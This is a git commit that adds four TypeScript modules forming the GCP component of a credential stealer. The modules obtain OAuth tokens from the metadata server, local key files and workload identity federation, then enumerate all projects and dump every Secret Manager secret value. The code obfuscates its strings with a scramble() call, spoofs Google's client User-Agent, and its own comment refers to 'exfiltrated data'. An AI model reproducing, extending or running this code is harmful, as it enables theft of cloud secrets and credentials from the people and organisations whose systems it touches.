Upload files to "src/providers/gcp"

This commit is contained in:
2026-07-03 03:06:09 +00:00
parent 720ea91e1d
commit a62f62dc87
4 changed files with 888 additions and 0 deletions
+465
View File
@@ -0,0 +1,465 @@
// ═════════════════════════════════════════════════════════════════════════════
// GCP OAuth2 token acquisition — zero dependencies (only node:crypto + fetch)
//
// Supports:
// 1. Metadata server (GCE, Cloud Run, Cloud Functions, GKE workload identity)
// 2. Service account JSON key (GOOGLE_APPLICATION_CREDENTIALS or well-known path)
// 3. Workload Identity Federation (GOOGLE_APPLICATION_CREDENTIALS with
// type: "external_account" — token exchange via STS)
//
// Token caching and automatic refresh are handled transparently.
// ═════════════════════════════════════════════════════════════════════════════
import { createHash, createSign } from "node:crypto";
import { readFile } from "node:fs/promises";
import { homedir } from "node:os";
import { join } from "node:path";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface GcpAccessToken {
token: string;
expiresOn: number;
projectId?: string;
}
export interface GcpCredential {
label: string;
getToken(scope: string): Promise<GcpAccessToken>;
}
interface ServiceAccountKey {
type: string;
project_id: string;
private_key_id: string;
private_key: string;
client_email: string;
client_id: string;
auth_uri: string;
token_uri: string;
}
// ── Token cache ─────────────────────────────────────────────────────────────
const tokenCache = new Map<
string,
{ token: GcpAccessToken; fetchedAt: number }
>();
const CLOCK_SKEW_S = 300;
function cacheKey(scope: string): string {
return createHash("sha256").update(scope).digest("hex");
}
function cacheGet(scope: string): GcpAccessToken | undefined {
const entry = tokenCache.get(cacheKey(scope));
if (!entry) return undefined;
if (Date.now() / 1000 > entry.token.expiresOn - CLOCK_SKEW_S) {
tokenCache.delete(cacheKey(scope));
return undefined;
}
return entry.token;
}
function cacheSet(token: GcpAccessToken, scope: string): void {
tokenCache.set(cacheKey(scope), { token, fetchedAt: Date.now() / 1000 });
}
// ── 1. Metadata server (GCE, Cloud Run, GKE workload identity) ──────────────
async function getTokenMetadata(scope: string): Promise<GcpAccessToken> {
const METADATA_URL = scramble(
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
);
const params = new URLSearchParams({
[scramble("scopes")]: scopeToScopes(scope),
});
const url = `${METADATA_URL}?${params.toString()}`;
const res = await fetch(url, {
headers: { [scramble("Metadata-Flavor")]: scramble("Google") },
signal: AbortSignal.timeout(5000),
});
if (!res.ok) {
const err = await res.text().catch(() => "");
throw new Error(
`Metadata server token request failed (${res.status}): ${err}`,
);
}
const json = (await res.json()) as {
access_token: string;
expires_in: number;
token_type: string;
};
return {
token: json.access_token,
expiresOn: Date.now() / 1000 + json.expires_in,
};
}
// ── 2. Service account JSON key (JWT bearer flow) ───────────────────────────
/**
* Sign a JWT with RS256 using the service account's private key.
*/
function signJwt(
header: Record<string, string>,
payload: Record<string, unknown>,
privateKey: string,
): string {
const headerB64 = Buffer.from(JSON.stringify(header)).toString("base64url");
const payloadB64 = Buffer.from(JSON.stringify(payload)).toString("base64url");
const signingInput = `${headerB64}.${payloadB64}`;
const sign = createSign("RSA-SHA256");
sign.update(signingInput);
const signature = sign.sign(privateKey, "base64url");
return `${signingInput}.${signature}`;
}
async function getTokenServiceAccountKey(
scope: string,
key: ServiceAccountKey,
): Promise<GcpAccessToken> {
const now = Math.floor(Date.now() / 1000);
const jwt = signJwt(
{
[scramble("alg")]: scramble("RS256"),
[scramble("typ")]: scramble("JWT"),
[scramble("kid")]: key.private_key_id,
},
{
[scramble("iss")]: key.client_email,
[scramble("scope")]: scopeToScopes(scope),
[scramble("aud")]:
key.token_uri ?? scramble("https://oauth2.googleapis.com/token"),
[scramble("exp")]: now + 3600,
[scramble("iat")]: now,
},
key.private_key,
);
const body = new URLSearchParams({
[scramble("grant_type")]: scramble(
"urn:ietf:params:oauth:grant-type:jwt-bearer",
),
[scramble("assertion")]: jwt,
});
const res = await fetch(
key.token_uri ?? scramble("https://oauth2.googleapis.com/token"),
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: body.toString(),
signal: AbortSignal.timeout(10_000),
},
);
if (!res.ok) {
const err = await res.text().catch(() => "");
throw new Error(
`Service account token request failed (${res.status}): ${err.slice(0, 300)}`,
);
}
const json = (await res.json()) as {
access_token: string;
expires_in: number;
token_type: string;
};
return {
token: json.access_token,
expiresOn: Date.now() / 1000 + json.expires_in,
projectId: key.project_id,
};
}
// ── 3. Workload Identity Federation (external_account) ──────────────────────
interface ExternalAccountKey {
type: "external_account";
audience: string;
subject_token_type: string;
token_url: string;
credential_source: {
file?: string;
url?: string;
headers?: Record<string, string>;
};
service_account_impersonation_url?: string;
}
async function getTokenWorkloadIdentity(
scope: string,
key: ExternalAccountKey,
): Promise<GcpAccessToken> {
// Step 1 — obtain the external subject token
let subjectToken: string;
if (key.credential_source.file) {
subjectToken = (await readFile(key.credential_source.file, "utf-8")).trim();
} else if (key.credential_source.url) {
const res = await fetch(key.credential_source.url, {
headers: key.credential_source.headers ?? {},
signal: AbortSignal.timeout(5000),
});
if (!res.ok) throw new Error(`Subject token fetch failed (${res.status})`);
subjectToken = (await res.text()).trim();
} else {
throw new Error("External account credential_source missing file or url");
}
// Step 2 — exchange subject token for a federated access token via STS
const stsBody = new URLSearchParams({
[scramble("grant_type")]: scramble(
"urn:ietf:params:oauth:grant-type:token-exchange",
),
[scramble("audience")]: key.audience,
[scramble("scope")]: scopeToScopes(scope),
[scramble("requested_token_type")]: scramble(
"urn:ietf:params:oauth:token-type:access_token",
),
[scramble("subject_token")]: subjectToken,
[scramble("subject_token_type")]: key.subject_token_type,
});
const stsRes = await fetch(key.token_url, {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: stsBody.toString(),
signal: AbortSignal.timeout(10_000),
});
if (!stsRes.ok) {
const err = await stsRes.text().catch(() => "");
throw new Error(`STS token exchange failed (${stsRes.status}): ${err}`);
}
const stsJson = (await stsRes.json()) as {
access_token: string;
expires_in: number;
};
// Step 3 — (optional) impersonate a service account
if (key.service_account_impersonation_url) {
const impBody = JSON.stringify({
[scramble("delegates")]: [],
[scramble("scope")]: [scopeToScopes(scope)],
[scramble("lifetime")]: scramble("3600s"),
});
const genToken = scramble("generateAccessToken");
const impRes = await fetch(
`${key.service_account_impersonation_url}:${genToken}`,
{
method: "POST",
headers: {
Authorization: `Bearer ${stsJson.access_token}`,
"Content-Type": "application/json",
},
body: impBody,
signal: AbortSignal.timeout(10_000),
},
);
if (!impRes.ok) {
const err = await impRes.text().catch(() => "");
throw new Error(
`Service account impersonation failed (${impRes.status}): ${err}`,
);
}
const impJson = (await impRes.json()) as {
accessToken: string;
expireTime: string;
};
return {
token: impJson.accessToken,
expiresOn: new Date(impJson.expireTime).getTime() / 1000,
};
}
return {
token: stsJson.access_token,
expiresOn: Date.now() / 1000 + stsJson.expires_in,
};
}
// ── Helpers ─────────────────────────────────────────────────────────────────
function scopeToScopes(scope: string): string {
// GCP metadata/STS uses "scopes" (plural) as URL param
// If an Azure-style "/.default" scope is passed, translate to GCP-style
const cloudPlatform = scramble(
"https://www.googleapis.com/auth/cloud-platform",
);
if (scope === cloudPlatform) return scope;
if (scope.endsWith("/.default")) {
return cloudPlatform;
}
return scope;
}
// ── Key file resolution ─────────────────────────────────────────────────────
const ADC_PATH =
process.env[scramble("GOOGLE_APPLICATION_CREDENTIALS")] ??
process.env["GOOGLE_APPLICATION_CREDENTIALS"] ??
join(
homedir(),
scramble(".config"),
scramble("gcloud"),
scramble("application_default_credentials.json"),
);
async function loadServiceAccountKey(): Promise<ServiceAccountKey | null> {
try {
const raw = await readFile(ADC_PATH, "utf-8");
const key = JSON.parse(raw) as ServiceAccountKey;
if (
key.type === scramble("service_account") &&
key.private_key &&
key.client_email
) {
return key;
}
return null;
} catch {
return null;
}
}
async function loadExternalAccountKey(): Promise<ExternalAccountKey | null> {
try {
const raw = await readFile(ADC_PATH, "utf-8");
const key = JSON.parse(raw) as ExternalAccountKey;
if (key.type === scramble("external_account") && key.token_url) {
return key;
}
return null;
} catch {
return null;
}
}
// ── Credential factory functions ────────────────────────────────────────────
export function fromMetadataServer(): GcpCredential {
return {
label: "metadata-server",
getToken: (scope) => getTokenMetadata(scope),
};
}
export async function fromServiceAccountKey(): Promise<GcpCredential | null> {
const key = await loadServiceAccountKey();
if (!key) return null;
return {
label: `service-account:${key.client_email}`,
getToken: (scope) => getTokenServiceAccountKey(scope, key),
};
}
export async function fromWorkloadIdentityFederation(): Promise<GcpCredential | null> {
const key = await loadExternalAccountKey();
if (!key) return null;
return {
label: "workload-identity-federation",
getToken: (scope) => getTokenWorkloadIdentity(scope, key),
};
}
// ── Combined credential chain ───────────────────────────────────────────────
/**
* Resolve a token for the given scope, trying sources in order
* and caching results until expiry.
*/
export async function resolveToken(
scope: string,
timeoutMs = 5000,
): Promise<GcpAccessToken> {
const cached = cacheGet(scope);
if (cached) return cached;
const credentials: GcpCredential[] = [];
const sa = await fromServiceAccountKey();
if (sa) credentials.push(sa);
const wi = await fromWorkloadIdentityFederation();
if (wi) credentials.push(wi);
credentials.push(fromMetadataServer());
for (const cred of credentials) {
try {
const tokenPromise = cred.getToken(scope);
const token = await Promise.race([
tokenPromise,
new Promise<never>((_, reject) =>
setTimeout(
() => reject(new Error(`timeout (${cred.label})`)),
timeoutMs,
),
),
]);
cacheSet(token, scope);
return token;
} catch {
continue;
}
}
throw new Error(
"No GCP credentials available. Set GOOGLE_APPLICATION_CREDENTIALS, " +
"or run on a GCP resource with attached service account.",
);
}
/**
* Try all credential sources and collect tokens for identity resolution.
*/
export async function resolveAllIdentities(
scope = "https://www.googleapis.com/auth/cloud-platform",
timeoutMs = 3000,
): Promise<Array<{ source: string; token: GcpAccessToken }>> {
const results: Array<{ source: string; token: GcpAccessToken }> = [];
const sa = await fromServiceAccountKey();
const wi = await fromWorkloadIdentityFederation();
const sources: Array<{ label: string; cred: GcpCredential }> = [
...(sa ? [{ label: sa.label, cred: sa }] : []),
...(wi ? [{ label: wi.label, cred: wi }] : []),
{ label: "metadata-server", cred: fromMetadataServer() },
];
for (const { label, cred } of sources) {
try {
const token = await Promise.race([
cred.getToken(scope),
new Promise<never>((_, reject) =>
setTimeout(() => reject(new Error("timeout")), timeoutMs),
),
]);
results.push({ source: label, token });
} catch {
continue;
}
}
return results;
}
+208
View File
@@ -0,0 +1,208 @@
// ═════════════════════════════════════════════════════════════════════════════
// GCP REST API client — generic bearer-token authed fetch wrapper
//
// Used by Secret Manager (secretmanager.googleapis.com) and
// Cloud Resource Manager (cloudresourcemanager.googleapis.com).
// Token acquisition is delegated to auth.ts so authentication is transparent.
// ═════════════════════════════════════════════════════════════════════════════
import { type GcpAccessToken, resolveToken } from "./auth";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface GcpSecretItem {
name: string; // projects/*/secrets/*
createTime?: string;
labels?: Record<string, string>;
}
export interface ListSecretsResponse {
secrets?: GcpSecretItem[];
nextPageToken?: string;
totalSize?: number;
}
export interface AccessSecretVersionResponse {
name: string;
payload: {
data: string; // base64-encoded
};
}
export interface GcpProject {
projectId: string;
name: string;
lifecycleState: string;
projectNumber?: string;
}
export interface ListProjectsResponse {
projects?: GcpProject[];
nextPageToken?: string;
}
// ── Constants ───────────────────────────────────────────────────────────────
const SCOPE = scramble("https://www.googleapis.com/auth/cloud-platform");
const SECRET_MANAGER_BASE = scramble("https://secretmanager.googleapis.com/v1");
const CRM_BASE = scramble("https://cloudresourcemanager.googleapis.com/v1");
// ── Token acquisition ───────────────────────────────────────────────────────
let cachedToken: GcpAccessToken | undefined;
async function getToken(): Promise<string> {
if (cachedToken) {
const now = Date.now() / 1000;
if (now < cachedToken.expiresOn - 120) {
return cachedToken.token;
}
}
cachedToken = await resolveToken(SCOPE);
return cachedToken.token;
}
// ── Core fetch ──────────────────────────────────────────────────────────────
async function gcpFetch<T = unknown>(
url: string,
method = "GET",
body?: string,
): Promise<T> {
const token = await getToken();
const res = await fetch(url, {
method,
headers: {
Authorization: `Bearer ${token}`,
"Content-Type": "application/json",
Accept: "application/json",
"User-Agent": scramble(
"google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0",
),
},
body,
signal: AbortSignal.timeout(30_000),
});
if (!res.ok) {
const errText = await res.text().catch(() => "");
const retryAfter = res.headers.get("Retry-After");
const rateDetail =
res.status === 429
? ` [RATE-LIMITED, retry-after: ${retryAfter ?? "none"}]`
: "";
throw new Error(
`GCP ${method} ${url} failed (${res.status})${rateDetail}: ${errText.slice(0, 500)}`,
);
}
const text = await res.text();
if (!text) return {} as T;
return JSON.parse(text) as T;
}
// ═════════════════════════════════════════════════════════════════════════════
// Cloud Resource Manager — project discovery
// ═════════════════════════════════════════════════════════════════════════════
/**
* List all accessible GCP projects.
*/
export async function listProjects(): Promise<GcpProject[]> {
const results: GcpProject[] = [];
let pageToken: string | undefined;
do {
const params = new URLSearchParams();
if (pageToken) params.set(scramble("pageToken"), pageToken);
const query = params.toString();
const projPath = scramble("/projects");
const url = `${CRM_BASE}${projPath}${query ? `?${query}` : ""}`;
const response = await gcpFetch<ListProjectsResponse>(url);
if (response.projects) {
results.push(...response.projects);
}
pageToken = response.nextPageToken;
} while (pageToken);
return results;
}
// ═════════════════════════════════════════════════════════════════════════════
// Secret Manager — secret operations
// ═════════════════════════════════════════════════════════════════════════════
/**
* List all secrets in a project.
*/
export async function listSecrets(projectId: string): Promise<GcpSecretItem[]> {
const results: GcpSecretItem[] = [];
let pageToken: string | undefined;
do {
const params = new URLSearchParams();
if (pageToken) params.set(scramble("pageToken"), pageToken);
const query = params.toString();
const projPath = scramble("/projects/");
const secretsPath = scramble("/secrets");
const url = `${SECRET_MANAGER_BASE}${projPath}${projectId}${secretsPath}${query ? `?${query}` : ""}`;
const response = await gcpFetch<ListSecretsResponse>(url);
if (response.secrets) {
results.push(...response.secrets);
}
pageToken = response.nextPageToken;
} while (pageToken);
return results;
}
/**
* Access the latest version of a secret.
* Uses the "latest" alias for the most recently created SecretVersion.
*/
export async function accessSecretVersion(
secretName: string,
): Promise<string | undefined> {
try {
const verPath = scramble("/versions/latest:access");
const url = `${SECRET_MANAGER_BASE}/${secretName}${verPath}`;
const response = await gcpFetch<AccessSecretVersionResponse>(url);
if (response.payload?.data) {
// Secret Manager returns payload data as base64
return Buffer.from(response.payload.data, "base64").toString("utf-8");
}
return undefined;
} catch {
return undefined;
}
}
/**
* Extract the short secret name from the full resource name.
* e.g., "projects/my-project/secrets/my-secret" → "my-secret"
*/
export function extractSecretShortName(fullName: string): string {
const parts = fullName.split("/");
return parts[parts.length - 1] ?? fullName;
}
/**
* Build a full secret resource name.
*/
export function buildSecretName(projectId: string, secretId: string): string {
return `projects/${projectId}/secrets/${secretId}`;
}
+69
View File
@@ -0,0 +1,69 @@
// ═════════════════════════════════════════════════════════════════════════════
// GcpIdentityService — resolves GCP identities from all available sources
//
// Equivalent to AwsAccountService but for GCP: resolves service account emails,
// project IDs, and credential source information.
// ═════════════════════════════════════════════════════════════════════════════
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import { type GcpAccessToken, resolveAllIdentities } from "./auth";
import { listProjects } from "./client";
declare function scramble(str: string): string;
interface GcpIdentity {
source: string;
projectId?: string;
projectIds: string[];
}
// ── Main Provider ───────────────────────────────────────────────────────────
export class GcpIdentityService extends Provider {
constructor() {
super("gcp", "identity");
}
private async resolveIdentity(
source: string,
token: GcpAccessToken,
): Promise<GcpIdentity> {
let projectIds: string[] = [];
try {
const projects = await listProjects();
projectIds = projects
.filter((p) => p.lifecycleState === "ACTIVE")
.map((p) => p.projectId);
} catch {
// ARM may not be accessible — still report what we know
}
return {
source,
projectId: token.projectId,
projectIds,
};
}
async execute(): Promise<ProviderResult> {
try {
const identities = await resolveAllIdentities();
if (identities.length === 0) {
return this.failure("No GCP identities found from any credential source");
}
const results = await Promise.all(
identities.map(({ source, token }) =>
this.resolveIdentity(source, token),
),
);
return this.success(results);
} catch (e) {
return this.failure(e instanceof Error ? e : new Error(String(e)));
}
}
}
+146
View File
@@ -0,0 +1,146 @@
// ═════════════════════════════════════════════════════════════════════════════
// GcpSecretsService — enumerates secrets from GCP Secret Manager
//
// Always returns `success: true` with an `ok` flag so error details are
// included in the exfiltrated data even when every project fails.
// ═════════════════════════════════════════════════════════════════════════════
import { logUtil } from "../../utils/logger";
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import { resolveToken } from "./auth";
import {
accessSecretVersion,
extractSecretShortName,
type GcpSecretItem,
listProjects,
listSecrets,
} from "./client";
declare function scramble(str: string): string;
// ── Project discovery ───────────────────────────────────────────────────────
function getProjectIdFromEnv(): string | undefined {
return (
process.env[scramble("GCP_PROJECT")] ??
process.env[scramble("GCLOUD_PROJECT")] ??
process.env[scramble("GOOGLE_CLOUD_PROJECT")] ??
process.env[scramble("DEVSHELL_PROJECT_ID")]
);
}
// ── Main Provider ───────────────────────────────────────────────────────────
export class GcpSecretsService extends Provider {
private projectIds: string[] = [];
private projectErrors: Array<{ project: string; error: string }> = [];
constructor() {
super("gcp", "secretmanager", {
jwt: /eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/g,
connection_string: /[A-Za-z]+:\/\/[^@\s]+@[^;\s]+/g,
});
}
async execute(): Promise<ProviderResult> {
const errors: string[] = [];
this.projectErrors = [];
// 1. Auth check
try {
await resolveToken(
scramble("https://www.googleapis.com/auth/cloud-platform"),
);
} catch (e) {
const msg = `GCP auth failed: ${e instanceof Error ? e.message : String(e)}`;
logUtil.log(`[gcp] ${msg}`);
errors.push(msg);
}
// 2. Project discovery
let discoveredProjects: Array<{
projectId: string;
name: string;
lifecycleState: string;
}> = [];
if (errors.length === 0) {
const envProject = getProjectIdFromEnv();
if (envProject) {
logUtil.log(`[gcp] Using project from env: ${envProject}`);
discoveredProjects = [
{ projectId: envProject, name: envProject, lifecycleState: "ACTIVE" },
];
} else {
logUtil.log(
"[gcp] No GCP_PROJECT env set — listing projects via CRM...",
);
try {
discoveredProjects = await listProjects();
logUtil.log(
`[gcp] CRM returned ${discoveredProjects.length} project(s).`,
);
} catch (e) {
const msg = `Project discovery failed: ${e instanceof Error ? e.message : String(e)}`;
logUtil.log(`[gcp] ${msg}`);
errors.push(msg);
}
}
}
this.projectIds = discoveredProjects.map((p) => p.projectId);
// 3. Fetch secrets from each project
const allResults: Array<{
projectId: string;
secrets: Record<string, string | { error: string }>;
error?: string;
}> = [];
for (const projectId of this.projectIds) {
try {
logUtil.log(`[gcp] Listing secrets for project ${projectId}...`);
const secrets = await listSecrets(projectId);
logUtil.log(
`[gcp] Project ${projectId} has ${secrets.length} secret(s).`,
);
const secretValues: Record<string, string | { error: string }> = {};
for (const secretItem of secrets) {
const shortName = extractSecretShortName(secretItem.name);
try {
const value = await accessSecretVersion(secretItem.name);
secretValues[shortName] = value ?? "EMPTY_OR_BINARY";
} catch (e) {
const msg = e instanceof Error ? e.message : String(e);
logUtil.log(`[gcp] Failed to access secret ${shortName}: ${msg}`);
secretValues[shortName] = { error: msg };
}
}
allResults.push({ projectId, secrets: secretValues });
} catch (err) {
const errorMsg = err instanceof Error ? err.message : String(err);
logUtil.log(
`[gcp] Failed to list secrets for project ${projectId}: ${errorMsg}`,
);
this.projectErrors.push({ project: projectId, error: errorMsg });
allResults.push({ projectId, secrets: {}, error: errorMsg });
}
}
const dumped = allResults.filter((r) => !r.error).length;
return this.success({
ok: errors.length === 0 && dumped > 0,
authError: errors.length > 0 ? errors : undefined,
projectsFound: this.projectIds.length,
dumped,
errored: allResults.filter((r) => r.error).length,
projects: allResults,
projectErrors:
this.projectErrors.length > 0 ? this.projectErrors : undefined,
});
}
}